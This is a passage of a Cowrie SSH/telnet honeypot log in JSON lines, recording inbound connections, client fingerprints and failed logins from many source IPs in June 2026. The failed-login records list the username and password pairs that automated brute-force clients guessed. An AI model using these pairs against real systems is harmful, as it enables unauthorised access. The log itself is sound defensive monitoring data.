4","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:14.306498Z","src_ip":"91.211.95.158","session":"26d9516d210f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"medical","password":"medical","message":"login attempt [medical/medical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:14.917040Z","src_ip":"91.211.95.158","session":"26d9516d210f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:16.065323Z","src_ip":"91.211.95.158","session":"26d9516d210f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":36970,"dst_ip":"159.203.135.109","dst_port":22,"session":"754d58c7fc38","protocol":"ssh","message":"New connection: 2.57.122.238:36970 (159.203.135.109:22) [session: 754d58c7fc38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:17.835243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:17.841865Z","src_ip":"2.57.122.238","session":"754d58c7fc38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:17.953319Z","src_ip":"2.57.122.238","session":"754d58c7fc38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tron","password":"tron","message":"login attempt [tron/tron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:18.273160Z","src_ip":"2.57.122.238","session":"754d58c7fc38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:19.381363Z","src_ip":"2.57.122.238","session":"754d58c7fc38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":55952,"dst_ip":"159.203.135.109","dst_port":22,"session":"d637d8544fe3","protocol":"ssh","message":"New connection: 87.251.79.125:55952 (159.203.135.109:22) [session: d637d8544fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:22.079410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:22.083635Z","src_ip":"87.251.79.125","session":"d637d8544fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:22.154299Z","src_ip":"87.251.79.125","session":"d637d8544fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"willis","message":"login attempt [root/willis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:22.368598Z","src_ip":"87.251.79.125","session":"d637d8544fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:23.442278Z","src_ip":"87.251.79.125","session":"d637d8544fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57440,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c711a827fcf","protocol":"telnet","message":"New connection: 172.81.62.90:57440 (159.203.135.109:23) [session: 3c711a827fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:24.823007Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":44496,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec6a5b5d1645","protocol":"ssh","message":"New connection: 111.238.174.6:44496 (10.17.0.5:22) [session: ec6a5b5d1645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:32.629079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:32.635799Z","src_ip":"111.238.174.6","session":"ec6a5b5d1645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:32.831389Z","src_ip":"111.238.174.6","session":"ec6a5b5d1645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"admin","message":"login attempt [adminuser/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:33.632880Z","src_ip":"111.238.174.6","session":"ec6a5b5d1645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:34.837332Z","src_ip":"111.238.174.6","session":"ec6a5b5d1645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":54696,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad19e75dd6f6","protocol":"ssh","message":"New connection: 4.213.224.194:54696 (10.17.0.5:22) [session: ad19e75dd6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:40.554308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:40.558654Z","src_ip":"4.213.224.194","session":"ad19e75dd6f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:40.746966Z","src_ip":"4.213.224.194","session":"ad19e75dd6f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123456789","message":"login attempt [root/P@ssw0rd123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:41.530485Z","src_ip":"4.213.224.194","session":"ad19e75dd6f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:17:42.721920Z","src_ip":"4.213.224.194","session":"ad19e75dd6f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60550,"dst_ip":"10.17.0.5","dst_port":22,"session":"f244355937c1","protocol":"ssh","message":"New connection: 80.94.92.184:60550 (10.17.0.5:22) [session: f244355937c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:02.676809Z"}
{"eventid":"cowrie.session.closed","duration":38.1974401473999,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:03.020321Z","src_ip":"172.81.62.90","session":"3c711a827fcf","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:03.027805Z","src_ip":"80.94.92.184","session":"f244355937c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:03.178421Z","src_ip":"80.94.92.184","session":"f244355937c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":50646,"dst_ip":"10.17.0.5","dst_port":22,"session":"b025180bfc44","protocol":"ssh","message":"New connection: 123.58.215.196:50646 (10.17.0.5:22) [session: b025180bfc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:07.955752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:07.967109Z","src_ip":"123.58.215.196","session":"b025180bfc44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:08.185637Z","src_ip":"123.58.215.196","session":"b025180bfc44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:08.393050Z","src_ip":"80.94.92.184","session":"f244355937c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:08.396506Z","src_ip":"80.94.92.184","session":"f244355937c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"USER1","message":"login attempt [user1/USER1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:09.079437Z","src_ip":"123.58.215.196","session":"b025180bfc44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.226","src_port":34345,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a07b5d811dc","protocol":"ssh","message":"New connection: 91.230.168.226:34345 (10.17.0.5:22) [session: 8a07b5d811dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:09.631628Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:09.661840Z","src_ip":"91.230.168.226","session":"8a07b5d811dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.98","src_port":46793,"dst_ip":"10.17.0.5","dst_port":22,"session":"99dd04755729","protocol":"ssh","message":"New connection: 91.230.168.98:46793 (10.17.0.5:22) [session: 99dd04755729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:09.725837Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:10.313268Z","src_ip":"123.58.215.196","session":"b025180bfc44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50856,"dst_ip":"10.17.0.5","dst_port":22,"session":"a715b15d5c86","protocol":"ssh","message":"New connection: 27.71.230.31:50856 (10.17.0.5:22) [session: a715b15d5c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:20.074679Z"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:20.098198Z","src_ip":"91.230.168.98","session":"99dd04755729","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:20.111134Z","src_ip":"27.71.230.31","session":"a715b15d5c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:22.145057Z","src_ip":"27.71.230.31","session":"a715b15d5c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":2366,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c76b5b801ac","protocol":"telnet","message":"New connection: 34.77.146.32:2366 (10.17.0.5:23) [session: 3c76b5b801ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:22.814283Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":2382,"dst_ip":"10.17.0.5","dst_port":23,"session":"65c391fe00ba","protocol":"telnet","message":"New connection: 34.77.146.32:2382 (10.17.0.5:23) [session: 65c391fe00ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:22.974544Z"}
{"eventid":"cowrie.session.closed","duration":0.007681846618652344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:22.982060Z","src_ip":"34.77.146.32","session":"65c391fe00ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":2398,"dst_ip":"10.17.0.5","dst_port":23,"session":"16f24674f3f8","protocol":"telnet","message":"New connection: 34.77.146.32:2398 (10.17.0.5:23) [session: 16f24674f3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:23.141405Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admins1","message":"login attempt [root/admins1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:24.080485Z","src_ip":"27.71.230.31","session":"a715b15d5c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:25.351691Z","src_ip":"27.71.230.31","session":"a715b15d5c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.250.61.10","src_port":41016,"dst_ip":"10.17.0.5","dst_port":22,"session":"35bb77487a49","protocol":"ssh","message":"New connection: 94.250.61.10:41016 (10.17.0.5:22) [session: 35bb77487a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:28.815480Z"}
